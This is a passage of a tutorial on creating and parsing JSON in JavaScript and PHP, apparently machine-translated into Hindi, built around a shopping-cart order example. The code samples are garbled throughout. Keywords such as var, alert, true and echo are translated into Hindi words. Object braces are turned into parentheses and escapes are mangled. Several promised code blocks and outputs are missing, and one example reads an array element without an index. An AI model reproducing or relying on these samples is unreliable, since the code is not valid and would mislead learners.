          वर कार्ट = ("ऑर्डर आईडी": 12345, "शॉपरनेम": "वान्या इवानोव", "शॉपरईमेल": " [ईमेल सुरक्षित]", "सामग्री": [( "उत्पादआईडी": 34, "उत्पादनाम": "सुपर उत्पाद", "मात्रा": 1 ), ( "उत्पादआईडी": 56, "उत्पादनाम": "चमत्कारी उत्पाद", "मात्रा": 3 ) ], "ऑर्डर पूरा हुआ": सच); चेतावनी (JSON.stringify(cart));

          यह कोड उत्पन्न करेगा:

          ध्यान दें कि JSON.stringify() विधि बिना रिक्त स्थान के JSON स्ट्रिंग लौटाती है। इसे पढ़ना अधिक कठिन है, लेकिन नेटवर्क पर प्रसारण के लिए यह अधिक कॉम्पैक्ट है।

          जावास्क्रिप्ट में JSON स्ट्रिंग को पार्स करने के कई तरीके हैं, लेकिन सबसे सुरक्षित और सबसे विश्वसनीय अंतर्निहित JSON.parse() विधि का उपयोग करना है। यह एक JSON स्ट्रिंग प्राप्त करता है और एक जावास्क्रिप्ट ऑब्जेक्ट या सरणी लौटाता है जिसमें डेटा होता है। उदाहरण के लिए:

          var jsonString = " \ ( \ "ऑर्डरआईडी": 12345, \ "शॉपरनेम": "वान्या इवानोव", \ "शॉपरईमेल": " [ईमेल सुरक्षित]", \ "सामग्री": [ \ ( \ "उत्पादआईडी": 34, \ "उत्पादनाम": "सुपर उत्पाद", \ "मात्रा": 1 \), \ ( \ "उत्पादआईडी": 56, \ "उत्पादनाम": "चमत्कारिक सामान", \"मात्रा": 3\ ) \ ], "आदेश पूरा हुआ": सत्य \ ) \"; var कार्ट = JSON.parse(jsonString); चेतावनी(कार्ट.शॉपरईमेल); चेतावनी(कार्ट.सामग्री.उत्पादनाम);

          हमने एक jsonString वेरिएबल बनाया जिसमें हमारे उदाहरण क्रम की JSON स्ट्रिंग शामिल है। फिर हम इस स्ट्रिंग को JSON.parse() विधि में पास करते हैं, जो JSON डेटा युक्त एक ऑब्जेक्ट बनाता है और इसे कार्ट वेरिएबल में संग्रहीत करता है। शॉपरईमेल ऑब्जेक्ट के गुणों और सामग्री सरणी के उत्पादनाम को प्रदर्शित करके जांच करना बाकी है।

          परिणामस्वरूप, हमें निम्नलिखित आउटपुट मिलेगा:

          एक वास्तविक एप्लिकेशन में, आपका जावास्क्रिप्ट कोड सर्वर स्क्रिप्ट से AJAX प्रतिक्रिया में JSON स्ट्रिंग के रूप में ऑर्डर प्राप्त करेगा, स्ट्रिंग को JSON.parse() विधि में पास करेगा, और फिर इसे उपयोगकर्ता के पेज पर प्रदर्शित करने के लिए डेटा का उपयोग करेगा।

          JSON.stringify() और JSON.parse() में अन्य क्षमताएं हैं, जैसे कुछ डेटा को कस्टम कन्वर्ट करने के लिए कॉलबैक फ़ंक्शन का उपयोग करना। ऐसे विकल्प विभिन्न डेटा को उचित जावास्क्रिप्ट ऑब्जेक्ट में परिवर्तित करने के लिए बहुत उपयोगी हैं।

          PHP में JSON स्ट्रिंग के साथ कार्य करना

          जावास्क्रिप्ट की तरह PHP में भी JSON स्ट्रिंग्स के साथ काम करने के लिए अंतर्निहित फ़ंक्शन हैं।

          PHP वेरिएबल से JSON स्ट्रिंग बनाना

          Json_encode() फ़ंक्शन एक PHP वेरिएबल लेता है और वेरिएबल की सामग्री का प्रतिनिधित्व करने वाला एक JSON स्ट्रिंग लौटाता है। यहां हमारा ऑर्डर उदाहरण है, जो PHP में लिखा गया है:

          यह कोड बिल्कुल वही JSON स्ट्रिंग लौटाता है जैसा कि जावास्क्रिप्ट उदाहरण में है:

          ("ऑर्डरआईडी":12345,"दुकानदार का नाम":"वान्या इवानोव","दुकानदारईमेल":" [ईमेल सुरक्षित]","सामग्री":[("उत्पादआईडी":34,"उत्पादनाम":"सुपर उत्पाद","मात्रा":1),("उत्पादआईडी":56,"उत्पादनाम":"चमत्कारी उत्पाद","मात्रा": 3)],"आदेश पूरा हुआ":सत्य)

          एक वास्तविक एप्लिकेशन में, आपकी PHP स्क्रिप्ट इस JSON स्ट्रिंग को ब्राउज़र में AJAX प्रतिक्रिया के हिस्से के रूप में भेजेगी, जहां जावास्क्रिप्ट कोड, JSON.parse() विधि का उपयोग करके, इसे उपयोगकर्ता के पेज पर प्रदर्शित करने के लिए एक वेरिएबल में वापस पार्स कर देगा। .

          आप json_encode() फ़ंक्शन के दूसरे तर्क के रूप में विभिन्न फ़्लैग पास कर सकते हैं। उनकी मदद से, आप वेरिएबल्स की सामग्री को JSON स्ट्रिंग में एन्कोड करने के सिद्धांतों को बदल सकते हैं।

          JSON स्ट्रिंग से एक वेरिएबल बनाएं

          JSON स्ट्रिंग को PHP वेरिएबल में बदलने के लिए, json_decode() विधि का उपयोग करें। आइए जावास्क्रिप्ट के लिए हमारे उदाहरण को JSON.parse() विधि से PHP कोड से बदलें:

          जावास्क्रिप्ट की तरह, यह कोड उत्पन्न करेगा:

          [ईमेल सुरक्षित]चमत्कारी उत्पाद

          डिफ़ॉल्ट रूप से, json_decode() फ़ंक्शन JSON ऑब्जेक्ट को PHP ऑब्जेक्ट के रूप में लौटाता है। stdClass क्लास के सामान्य PHP ऑब्जेक्ट हैं। इसीलिए हम उपरोक्त उदाहरण में ऑब्जेक्ट के गुणों तक पहुँचने के लिए -> का उपयोग करते हैं।

          यदि आपको संबंधित PHP सरणी के रूप में JSON ऑब्जेक्ट की आवश्यकता है, तो आपको json_decode() फ़ंक्शन के दूसरे तर्क के रूप में true पास करना होगा। उदाहरण के लिए:

          $कार्ट = json_decode($jsonString, सत्य); इको $कार्ट["शॉपरईमेल"]। "
          "; इको $कार्ट["सामग्री"]["उत्पादनाम"] . "
          ";

          यह कोड समान आउटपुट उत्पन्न करेगा:

          [ईमेल सुरक्षित]चमत्कारी उत्पाद

          आप रिकर्सन गहराई और बड़े पूर्णांकों को संभालने के तरीके को निर्दिष्ट करने के लिए json_decode() फ़ंक्शन में अन्य तर्क भी पास कर सकते हैं।

          निष्कर्ष

          हालाँकि JSON को समझना और उपयोग करना आसान है, यह एप्लिकेशन और कंप्यूटर के बीच डेटा स्थानांतरित करने के लिए एक बहुत ही उपयोगी और लचीला उपकरण है, खासकर AJAX का उपयोग करते समय। यदि आप AJAX एप्लिकेशन विकसित करने की योजना बना रहे हैं, तो इसमें कोई संदेह नहीं है कि JSON आपके वर्कशॉप में एक आवश्यक उपकरण बन जाएगा।



  • मित्रों को बताओ